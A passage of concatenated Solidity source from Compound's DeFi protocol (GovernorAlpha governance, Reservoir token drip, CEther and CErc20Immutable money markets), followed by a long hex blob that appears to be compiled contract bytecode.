bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address comp_, address guardian_) public { timelock = TimelockInterface(timelock_); comp = CompInterface(comp_); guardian = guardian_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = comp.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface CompInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title Reservoir Contract * @notice Distributes a token to a different contract at a fixed rate. * @dev This contract must be poked via the `drip()` function every so often. * @author Compound */ contract Reservoir { /// @notice The block number when the Reservoir started (immutable) uint public dripStart; /// @notice Tokens per block that to drip to target (immutable) uint public dripRate; /// @notice Reference to token to drip (immutable) EIP20Interface public token; /// @notice Target to receive dripped tokens (immutable) address public target; /// @notice Amount that has already been dripped uint public dripped; /** * @notice Constructs a Reservoir * @param dripRate_ Numer of tokens per block to drip * @param token_ The token to drip * @param target_ The recipient of dripped tokens */ constructor(uint dripRate_, EIP20Interface token_, address target_) public { dripStart = block.number; dripRate = dripRate_; token = token_; target = target_; dripped = 0; } /** * @notice Drips the maximum amount of tokens to match the drip rate since inception * @dev Note: this will only drip up to the amount of tokens available. * @return The amount of tokens dripped in this call */ function drip() public returns (uint) { // First, read storage into memory EIP20Interface token_ = token; uint reservoirBalance_ = token_.balanceOf(address(this)); // TODO: Verify this is a static call uint dripRate_ = dripRate; uint dripStart_ = dripStart; uint dripped_ = dripped; address target_ = target; uint blockNumber_ = block.number; // Next, calculate intermediate values uint dripTotal_ = mul(dripRate_, blockNumber_ - dripStart_, "dripTotal overflow"); uint deltaDrip_ = sub(dripTotal_, dripped_, "deltaDrip underflow"); uint toDrip_ = min(reservoirBalance_, deltaDrip_); uint drippedNext_ = add(dripped_, toDrip_, "tautological"); // Finally, write new `dripped` value and transfer tokens to target dripped = drippedNext_; token_.transfer(target_, toDrip_); return toDrip_; } /* Internal helper functions for safe math */ function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function min(uint a, uint b) internal pure returns (uint) { if (a <= b) { return a; } else { return b; } } } import "./EIP20Interface.sol"; // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; /** * @title Compound's CEther Contract * @notice CToken which wraps Ether * @author Compound */ contract CEther is CToken { /** * @notice Construct a new CEther money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Reverts upon any failure */ function mint() external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @dev Reverts upon any failure */ function repayBorrow() external payable { (uint err,) = repayBorrowInternal(msg.value); requireNoError(err, "repayBorrow failed"); } /** * @notice Sender repays a borrow belonging to borrower * @dev Reverts upon any failure * @param borrower the account with the debt being payed off */ function repayBorrowBehalf(address borrower) external payable { (uint err,) = repayBorrowBehalfInternal(borrower, msg.value); requireNoError(err, "repayBorrowBehalf failed"); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @dev Reverts upon any failure * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower */ function liquidateBorrow(address borrower, CToken cTokenCollateral) external payable { (uint err,) = liquidateBorrowInternal(borrower, msg.value, cTokenCollateral); requireNoError(err, "liquidateBorrow failed"); } /** * @notice Send Ether to CEther to mint */ receive () external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of Ether, before this message * @dev This excludes the value of the current message, if any * @return The quantity of Ether owned by this contract */ function getCashPrior() internal view override returns (uint) { (MathError err, uint startingBalance) = subUInt(address(this).balance, msg.value); require(err == MathError.NO_ERROR); return startingBalance; } /** * @notice Perform the actual transfer in, which is a no-op * @param from Address sending the Ether * @param amount Amount of Ether being sent * @return The actual amount of Ether transferred */ function doTransferIn(address from, uint amount) internal override returns (uint) { // Sanity checks require(msg.sender == from, "sender mismatch"); require(msg.value == amount, "value mismatch"); return amount; } function doTransferOut(address payable to, uint amount) internal override { require(to != address(0), "cannot send to zero address"); (bool success, ) = to.call.value(amount)(""); require(success, "doTransferOut failed"); } function requireNoError(uint errCode, string memory message) internal pure { if (errCode == uint(Error.NO_ERROR)) { return; } bytes memory fullMessage = new bytes(bytes(message).length + 5); uint i; for (i = 0; i < bytes(message).length; i++) { fullMessage[i] = bytes(message)[i]; } fullMessage[i+0] = byte(uint8(32)); fullMessage[i+1] = byte(uint8(40)); fullMessage[i+2] = byte(uint8(48 + ( errCode / 10 ))); fullMessage[i+3] = byte(uint8(48 + ( errCode % 10 ))); fullMessage[i+4] = byte(uint8(41)); require(errCode == uint(Error.NO_ERROR), string(fullMessage)); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CErc20.sol"; /** * @title Compound's CErc20Immutable Contract * @notice CTokens which wrap an EIP-20 underlying and are immutable * @author Compound */ contract CErc20Immutable is CErc20 { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; // Initialize the market initialize(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063595642191161007157806359564219146101825780637dd8f6d9146101a257806396994869146101c2578063995ed99f146101e2578063bdf950c914610202578063c5ae593414610222576100b4565b80630972bf8b146100b9578063158eca8b146100e25780631ea63741146101025780632b2d5ed614610122578063416405d7146101425780634b70d84b14610162575b600080fd5b6100cc6100c7366004612324565b610242565b6040516100d99190612a5a565b60405180910390f35b6100f56100f0366004612514565b6102f7565b6040516100d99190612d6a565b6101156101103660046124d5565b610a7b565b6040516100d99190612d87565b6101356101303660046122e5565b610e02565b6040516100d99190612aeb565b61015561015036600461243b565b610eb2565b6040516100d99190612dbb565b6101756101703660046122e5565b61105b565b6040516100d99190612aa8565b610195610190366004612473565b611100565b6040516100d99190612b2b565b6101b56101b036600461243b565b611261565b6040516100d99190612d20565b6101d56101d03660046125e6565b61139d565b6040516100d99190612b6d565b6101f56101f0366004612530565b61156c565b6040516100d99190612ca9565b61021561021036600461243b565b6116d8565b6040516100d99190612d5c565b610235610230366004612514565b611a78565b6040516100d99190612d79565b60608281816001600160401b038111801561025c57600080fd5b5060405190808252806020026020018201604052801561029657816020015b610283611de7565b81526020019060019003908161027b5790505b50905060005b828110156102ed576102ce8787838181106102b357fe5b90506020020160208101906102c89190612514565b866116d8565b8282815181106102da57fe5b602090810291909101015260010161029c565b5095945050505050565b6102ff611e26565b6000826001600160a01b031663bd6d894d6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561033c57600080fd5b505af1158015610350573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061037491906126c4565b90506000836001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156103b157600080fd5b505afa1580156103c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e991906121b9565b9050600080826001600160a01b0316638e8f294b876040518263ffffffff1660e01b815260040161041a9190612a0d565b604080518083038186803b15801561043157600080fd5b505afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610469919061240f565b9150915060008061050a886001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156104ac57600080fd5b505afa1580156104c0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104e89190810190612638565b604051806040016040528060048152602001630c48aa8960e31b815250611c0c565b1561051b575060009050601261067b565b6000889050806001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b15801561055957600080fd5b505afa15801561056d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059191906121b9565b9250806001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156105cc57600080fd5b505afa1580156105e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060491906121b9565b6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561063c57600080fd5b505afa158015610650573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067491906127b0565b60ff169150505b604051806101c00160405280896001600160a01b03168152602001878152602001896001600160a01b031663ae9d70b06040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d557600080fd5b505afa1580156106e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070d91906126c4565b8152602001896001600160a01b031663f8f9da286040518163ffffffff1660e01b815260040160206040518083038186803b15801561074b57600080fd5b505afa15801561075f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078391906126c4565b8152602001896001600160a01b031663173b99046040518163ffffffff1660e01b815260040160206040518083038186803b1580156107c157600080fd5b505afa1580156107d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f991906126c4565b8152602001896001600160a01b03166347bd37186040518163ffffffff1660e01b815260040160206040518083038186803b15801561083757600080fd5b505afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f91906126c4565b8152602001896001600160a01b0316638f840ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b505afa1580156108c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e591906126c4565b8152602001896001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561092357600080fd5b505afa158015610937573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095b91906126c4565b8152602001896001600160a01b0316633b1d21a26040518163ffffffff1660e01b815260040160206040518083038186803b15801561099957600080fd5b505afa1580156109ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d191906126c4565b81526020018515158152602001848152602001836001600160a01b03168152602001896001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2c57600080fd5b505afa158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6491906127b0565b60ff16815260200191909152979650505050505050565b610a83611ea9565b6040516370a0823160e01b81526000906001600160a01b038616906370a0823190610ab2908690600401612a0d565b60206040518083038186803b158015610aca57600080fd5b505afa158015610ade573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0291906126c4565b6040516374d7814960e11b81529091506001600160a01b0385169063e9af029290610b31908690600401612a0d565b600060405180830381600087803b158015610b4b57600080fd5b505af1158015610b5f573d6000803e3d6000fd5b50506040516370a0823160e01b8152600092506001600160a01b03881691506370a0823190610b92908790600401612a0d565b60206040518083038186803b158015610baa57600080fd5b505afa158015610bbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be291906126c4565b90506000856001600160a01b031663cc7ebdc4866040518263ffffffff1660e01b8152600401610c129190612a0d565b60206040518083038186803b158015610c2a57600080fd5b505afa158015610c3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6291906126c4565b90506000610c9782846040518060400160405280600e81526020016d1cdd5b4818dbdb5c081d1bdd185b60921b815250611c65565b90506000610ccb82866040518060400160405280600d81526020016c1cdd5888185b1b1bd8d85d1959609a1b815250611c95565b905060405180608001604052808681526020018a6001600160a01b031663b4b5ea578a6040518263ffffffff1660e01b8152600401610d0a9190612a0d565b60206040518083038186803b158015610d2257600080fd5b505afa158015610d36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5a91906127d1565b6001600160601b031681526020018a6001600160a01b031663587cde1e8a6040518263ffffffff1660e01b8152600401610d949190612a0d565b60206040518083038186803b158015610dac57600080fd5b505afa158015610dc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de491906121b9565b6001600160a01b031681526020019190915298975050505050505050565b60608181816001600160401b0381118015610e1c57600080fd5b50604051908082528060200260200182016040528015610e5657816020015b610e43611eda565b815260200190600190039081610e3b5790505b50905060005b82811015610ea757610e88868683818110610e7357fe5b90506020020160208101906102309190612514565b828281518110610e9457fe5b6020908102919091010152600101610e5c565b509150505b92915050565b610eba611ef1565b6040805160608101918290526370a0823160e01b909152806001600160a01b0385166370a08231610eee8660648501612a0d565b60206040518083038186803b158015610f0657600080fd5b505afa158015610f1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3e91906126c4565b8152602001846001600160a01b031663b4b5ea57856040518263ffffffff1660e01b8152600401610f6f9190612a0d565b60206040518083038186803b158015610f8757600080fd5b505afa158015610f9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbf91906127d1565b6001600160601b03168152602001846001600160a01b031663587cde1e856040518263ffffffff1660e01b8152600401610ff99190612a0d565b60206040518083038186803b15801561101157600080fd5b505afa158015611025573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104991906121b9565b6001600160a01b031690529392505050565b60608181816001600160401b038111801561107557600080fd5b506040519080825280602002602001820160405280156110af57816020015b61109c611e26565b8152602001906001900390816110945790505b50905060005b82811015610ea7576110e18686838181106110cc57fe5b90506020020160208101906100f09190612514565b8282815181106110ed57fe5b60209081029190910101526001016110b5565b606080826001600160401b038111801561111957600080fd5b5060405190808252806020026020018201604052801561115357816020015b611140611f1b565b8152602001906001900390816111385790505b50905060005b838110156102ed57604051806040016040528086868481811061117857fe5b905060200201602081019061118d919061278c565b63ffffffff168152602001886001600160a01b031663782d6fe1898989878181106111b457fe5b90506020020160208101906111c9919061278c565b6040518363ffffffff1660e01b81526004016111e6929190612a3b565b60206040518083038186803b1580156111fe57600080fd5b505afa158015611212573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123691906127d1565b6001600160601b031681525082828151811061124e57fe5b6020908102919091010152600101611159565b611269611f35565b6000806000856001600160a01b0316635ec88c79866040518263ffffffff1660e01b815260040161129a9190612a0d565b60606040518083038186803b1580156112b257600080fd5b505afa1580156112c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ea919061275f565b925092509250826000146112fd57600080fd5b604080516060810191829052632aff3bff60e21b909152806001600160a01b03881663abfceffc6113318960648501612a0d565b60006040518083038186803b15801561134957600080fd5b505afa15801561135d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526113859190810190612378565b81526020810193909352604090920152949350505050565b606080826001600160401b03811180156113b657600080fd5b506040519080825280602002602001820160405280156113f057816020015b6113dd611f56565b8152602001906001900390816113d55790505b50905060005b8381101561156357606080606080896001600160a01b031663328dd9828a8a8881811061141f57fe5b905060200201356040518263ffffffff1660e01b81526004016114429190612de5565b60006040518083038186803b15801561145a57600080fd5b505afa15801561146e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261149691908101906121dc565b9350935093509350604051806101a001604052806000815260200160006001600160a01b0316815260200160008152602001858152602001848152602001838152602001828152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525086868151811061151857fe5b602002602001018190525061155386868151811061153257fe5b60200260200101518b8b8b8981811061154757fe5b90506020020135611cc1565b5050600190920191506113f69050565b50949350505050565b805160609081816001600160401b038111801561158857600080fd5b506040519080825280602002602001820160405280156115c257816020015b6115af611fcb565b8152602001906001900390816115a75790505b50905060005b828110156102ed576115d8611ff2565b876001600160a01b031663e23a9a528784815181106115f357fe5b6020026020010151896040518363ffffffff1660e01b8152600401611619929190612dee565b60606040518083038186803b15801561163157600080fd5b505afa158015611645573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116699190612672565b9050604051806080016040528087848151811061168257fe5b6020026020010151815260200182600001511515815260200182602001511515815260200182604001516001600160601b03168152508383815181106116c457fe5b6020908102919091010152506001016115c8565b6116e0611de7565b6040516370a0823160e01b81526000906001600160a01b038516906370a082319061170f908690600401612a0d565b60206040518083038186803b15801561172757600080fd5b505afa15801561173b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175f91906126c4565b90506000846001600160a01b03166317bfdfbc856040518263ffffffff1660e01b815260040161178f9190612a0d565b602060405180830381600087803b1580156117a957600080fd5b505af11580156117bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e191906126c4565b90506000856001600160a01b0316633af9e669866040518263ffffffff1660e01b81526004016118119190612a0d565b602060405180830381600087803b15801561182b57600080fd5b505af115801561183f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061186391906126c4565b90506000806118a4886001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156104ac57600080fd5b156118be5750506001600160a01b03851680319031611a3b565b60008890506000816001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156118fe57600080fd5b505afa158015611912573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061193691906121b9565b6040516370a0823160e01b81529091506001600160a01b038216906370a0823190611965908c90600401612a0d565b60206040518083038186803b15801561197d57600080fd5b505afa158015611991573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b591906126c4565b604051636eb1769f60e11b81529094506001600160a01b0382169063dd62ed3e906119e6908c908e90600401612a21565b60206040518083038186803b1580156119fe57600080fd5b505afa158015611a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3691906126c4565b925050505b6040805160c0810182526001600160a01b039990991689526020890195909552938701929092526060860152608085015260a08401525090919050565b611a80611eda565b6000826001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b158015611abb57600080fd5b505afa158015611acf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611af391906121b9565b90506000816001600160a01b0316637dc0d1d06040518163ffffffff1660e01b815260040160206040518083038186803b158015611b3057600080fd5b505afa158015611b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b6891906121b9565b90506040518060400160405280856001600160a01b03168152602001826001600160a01b031663fc57d4df876040518263ffffffff1660e01b8152600401611bb09190612a0d565b602060405180830381600087803b158015611bca57600080fd5b505af1158015611bde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0291906126c4565b9052949350505050565b600081604051602001611c1f91906129f1565b6040516020818303038152906040528051906020012083604051602001611c4691906129f1565b6040516020818303038152906040528051906020012014905092915050565b600083830182858210156115635760405162461bcd60e51b8152600401611c8c9190612d0d565b60405180910390fd5b60008184841115611cb95760405162461bcd60e51b8152600401611c8c9190612d0d565b505050900390565b600080600080600080600080896001600160a01b031663013cf08b8a6040518263ffffffff1660e01b8152600401611cf99190612de5565b6101206040518083038186803b158015611d1257600080fd5b505afa158015611d26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d4a91906126dc565b9850985098509850985098509850985050888b6000018181525050878b602001906001600160a01b031690816001600160a01b031681525050868b6040018181525050858b60e0018181525050848b610100018181525050838b610120018181525050828b610140018181525050818b610160019015159081151581525050808b6101800190151590811515815250505050505050505050505050565b6040518060c0016040528060006001600160a01b0316815260200160008152602001600081526020016000815260200160008152602001600081525090565b604051806101c0016040528060006001600160a01b0316815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581526020016000815260200160006001600160a01b0316815260200160008152602001600081525090565b6040518060800160405280600081526020016000815260200160006001600160a01b03168152602001600081525090565b604080518082019091526000808252602082015290565b6040518060600160405280600081526020016000815260200160006001600160a01b031681525090565b604051806040016040528060008152602001600081525090565b60405180606001604052806060815260200160008152602001600081525090565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b60408051608081018252600080825260208201819052918101829052606081019190915290565b604080516060810182526000808252602082018190529181019190915290565b600082601f830112612022578081fd5b815161203561203082612e2b565b612e05565b818152915060208083019084810160005b8481101561206f5761205d888484518a0101612130565b84529282019290820190600101612046565b505050505092915050565b60008083601f84011261208b578182fd5b5081356001600160401b038111156120a1578182fd5b60208301915083602080830285010111156120bb57600080fd5b9250929050565b600082601f8301126120d2578081fd5b81516120e061203082612e2b565b81815291506020808301908481018184028601820187101561210157600080fd5b60005b8481101561206f57815184529282019290820190600101612104565b80518015158114610eac57600080fd5b600082601f830112612140578081fd5b81516001600160401b03811115612155578182fd5b612168601f8201601f1916602001612e05565b915080825283602082850101111561217f57600080fd5b612190816020840160208601612e4a565b5092915050565b8051610eac81612e7a565b80516001600160601b0381168114610eac57600080fd5b6000602082840312156121